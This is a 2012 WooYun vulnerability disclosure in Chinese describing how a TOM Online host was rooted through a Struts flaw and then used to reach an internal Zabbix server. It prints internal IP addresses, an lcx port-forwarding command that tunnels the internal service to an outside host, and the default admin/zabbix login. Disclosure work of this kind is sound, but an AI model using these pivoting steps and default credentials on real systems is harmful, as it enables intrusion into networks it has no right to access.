当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-014101

漏洞标题:tom在线小问题到zabbix沦陷

相关厂商:TOM在线

漏洞作者: hongygxiang

提交时间:2012-10-31 11:39

修复时间:2012-12-15 11:40

公开时间:2012-12-15 11:40

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-10-31: 细节已通知厂商并且等待厂商处理中
2012-11-03: 厂商已经确认,细节仅向厂商公开
2012-11-13: 细节向核心白帽子及相关领域专家公开
2012-11-23: 细节向普通白帽子公开
2012-12-03: 细节向实习白帽子公开
2012-12-15: 细节向公众公开

简要描述:

zabbix可以添加监控项跑命令的、接下来的事情你懂得;
发这个洞主要的目的是为了提醒大家zabbix还是得注意下

详细说明:

首先一个struts漏洞、
http://fm.tom.com/login-share/tomlogin/login.action
struts漏洞就不多解释了,
uid=0(root) gid=0(root) groups=0(root)
ifconfig
eth2 Link encap:Ethernet HWaddr 00:18:8B:83:1B:45
inet addr:172.24.205.15 Bcast:172.24.205.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:81041 errors:0 dropped:0 overruns:0 frame:0
TX packets:60 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
Interrupt:16 Memory:f8000000-f8012800
其次是因为 WooYun: TOM 音乐频道/短信网关/WAP等 百台服务器Root权限
这个漏洞的忽略,收藏了几个脚本、install-zabbix.sh


本身我也比较喜欢收集些脚本,学习学习。
看下面吧
吐槽下吧,做安全这么些年,运维逐步走向自动化,puppet,zabbix,ldap还是要注意下吧、屌丝们入侵也希望自动化的。

漏洞证明:

没有外网IP有点蛋疼,


curl http://172.24.162.38/zabbix/ #返回的是zabbix登陆页


确认上面信息后,首先要做一个跳转将172.24.205.15的某个端口转到172.24.162.38的80端口,然后将172.24.205.15监听的端口转到外网来,这样就可以正常访问了
看图
0.0.0.0 98 172.24.162.38 80
做的转发


然后将98端口转发到公网
./lcx -m 3 -h1 youip -p1 786 -h2 127.0.0.1 -p2 98
然后见下图


login:admin/zabbix



至于后面、、、你们懂得,

修复方案:

你们比我这屌丝专业太多了。

版权声明:转载请注明来源 hongygxiang@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2012-11-03 01:06

厂商回复:

已确认,谢谢,已提交公司相关部门处理

最新状态:

暂无


漏洞评价:

评论

  1. 2012-12-15 14:14 | 偶尔透透气 ( 路人 | Rank:6 漏洞数:1 | 常常潜潜水,偶尔透透气.)

    我想说的是 tom的屌丝没你们厉害